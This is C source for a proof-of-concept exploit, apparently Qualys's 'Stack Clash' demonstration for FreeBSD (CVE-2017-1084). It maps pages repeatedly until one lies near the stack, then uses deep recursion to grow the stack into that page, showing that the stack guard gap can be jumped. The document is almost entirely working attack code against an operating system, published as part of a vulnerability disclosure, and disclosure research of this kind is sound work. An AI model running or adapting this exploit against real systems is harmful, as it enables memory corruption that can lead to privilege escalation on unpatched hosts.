FreeBSD 'FGPE' Stack Clash Proof of Concept

/*
 * FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0)
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char * last_page;

static void
alloc(const char * const final)
{
    for (;;) {
        last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (last_page == MAP_FAILED) die();
        if (last_page >= final) break;
    }
}

static void
clash_smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        clash_smash_no_jump(smash_size - sizeof(buf));
}

#define SGROWSIZ        ((size_t)128UL*1024)            /* amount to grow stack */

int
main(void)
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    struct rlimit stack;
    if (getrlimit(RLIMIT_STACK, &stack)) die();
    const size_t smash_size = stack.rlim_cur / 3 * 2;
    const size_t final_dist = arc4random() % smash_size;

    alloc((const char *)&stack - final_dist);
    clash_smash_no_jump(smash_size);
    printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist);
    exit(EXIT_SUCCESS);
}

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